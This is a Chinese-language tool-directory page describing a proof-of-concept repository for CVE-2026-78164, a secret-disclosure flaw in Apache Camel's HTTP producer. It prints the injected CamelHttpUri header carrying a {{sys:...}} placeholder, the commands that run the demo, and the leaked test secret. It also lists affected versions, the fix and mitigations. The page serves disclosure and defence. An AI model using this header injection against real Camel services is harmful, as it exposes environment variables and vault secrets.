Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-78164 — 针对 CVE-2026-78164 的可运行概念验证,演示当 Apache Camel HTTP 生产者解析攻击者提供的 CamelHttpUri 请求头中的属性占位符时发生的机密信息泄露。 | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-78164
防御工具漏洞分析漏洞利用Web应用程序漏洞利用数据泄露信息收集学习与教育
GitHuboscerd/cve-2026-78164

CVE-2026-78164

针对 CVE-2026-78164 的可运行概念验证,演示当 Apache Camel HTTP 生产者解析攻击者提供的 CamelHttpUri 请求头中的属性占位符时发生的机密信息泄露。

查看仓库
13天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-78164 — Camel HTTP 生产者对消息提供的 URI 请求头解析属性占位符

针对 Apache Camel 漏洞的可运行概念验证复现程序:HTTP 生产者系列允许入站消息通过 CamelHttpUri 和 CamelRestHttpUri 请求头覆盖端点 URI,随后在使用该消息提供的字符串之前,将其传入 CamelContext.resolvePropertyPlaceholders() 进行解析。

属性占位符解析是一种配置解析机制,而非 URI 解析步骤。它会访问操作系统环境变量、JVM 系统属性、类路径上的每个 PropertiesFunction(包括 AWS、Azure、GCP、HashiCorp、IBM、CyberArk 和 Kubernetes 的密钥函数),并且——通过 camel-bean——调用注册表中任意 bean 的无参方法。将其应用于受攻击者影响的 Exchange 内容,会把一个 URI 字符串变成配置与 bean 求值上下文。路由作者对此毫无选择:一个普通的静态 to("http://backend/api") 就足以触发。

运行时目录技术栈
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-http 4.22.0(受影响;修复版本 4.22.1)
Camel Quarkuscamel-quarkus/Quarkus 3.29.0 + camel-quarkus-http 3.29.0(Camel 4.15.0,受影响)

该行为早于 4.x 系列(可追溯至 camel-http4 / camel-netty4),因此所有受影响的发行版以及最新 Camel Quarkus 中的 Camel 4.15.0 均存在漏洞。修复版本随 Camel 4.18.5 / 4.22.1 / 4.23.0 发布;Spring Boot 模块同时运行受影响构建(4.22.0)和修复构建(4.22.1)。目前尚无已发布的 Camel Quarkus 捆绑修复后的 Camel。

演示内容

该路由是一个普通的静态 to("http://127.0.0.1:9100/collect"),指向本地收集器。攻击者将 CamelHttpUri 请求头设置为携带属性占位符令牌的 URI——无需知道密钥值,只需指明键名:

CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}

该应用会设置一个 JVM 系统属性 cve78164.secret,用来代替任意配置值或 vault 密钥。在受影响的构建版本中,生产者会在请求发出之前解析该占位符,因此收集器会在出站查询中看到该密钥。在已修复的构建版本中,该令牌会被原样转发。

cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

在受影响的构建上预期输出:

Outbound request observed by the collector:
    GET /collect?leak=S3CR3T-cve78164-do-not-leak

>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.

在修复后的构建中,收集器看到的是 GET /collect?leak={{sys:cve78164.secret}}(字面量,未被解析)。

漏洞摘要

属性值
组件camel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http
CWECWE-1336(模板引擎中使用的特殊元素的不当中和),CWE-200(信息泄露)
严重程度高
攻击向量CamelHttpUri / CamelRestHttpUri 覆盖头携带 {{...}} 令牌;请求体/请求头不受 bridgeEndpoint 限制,且多个消费者会作为反向代理特性从请求行填充 CamelHttpUri
影响将环境变量、系统属性和 vault 密钥展开到出站请求中;无参调用注册表 bean;通过回显的错误形成配置键设置/未设置预言机
受影响版本从 4.0.0 起至 4.18.5 之前,从 4.19.0 起至 4.22.1 之前(该行为早于 4.x)
修复版本4.18.5、4.22.1、4.23.0
JIRACAMEL-24418
致谢[email protected]

公告:https://camel.apache.org/security/CVE-2026-78164.html

修复方案

在所有受影响的位置移除了针对每条消息的 resolvePropertyPlaceholders() 调用,因此仅出现在 CamelHttpUri 或 CamelRestHttpUri 中的 {{...}} 令牌现在会被视为 URI 的字面量部分。路由自身端点 URI 中的占位符不受影响——它们在端点创建时于构建阶段被解析一次。

无法升级时的缓解措施

在生产者之前的信任边界处,使用 removeHeader("CamelHttpUri") 和 removeHeader("CamelRestHttpUri") 剥离覆盖头,或在 camel-http 端点上设置 skipControlHeaders=true(唯一提供该选项的组件)。bridgeEndpoint=true 不是变通方案。对暴露给不可信发送方的消费者应用严格的入站 HeaderFilterStrategy,并通过 vault 而非占位符可命名的环境变量/系统属性来解析密钥。

免责声明

本仓库出于教育和防御目的发布:帮助 Apache Camel 用户理解该漏洞、验证自身是否受影响,并确认升级可解决该问题。其中的“secret”是一个无实际作用的本地测试夹具。请勿将本材料用于您不拥有或运营的系统。

下载工具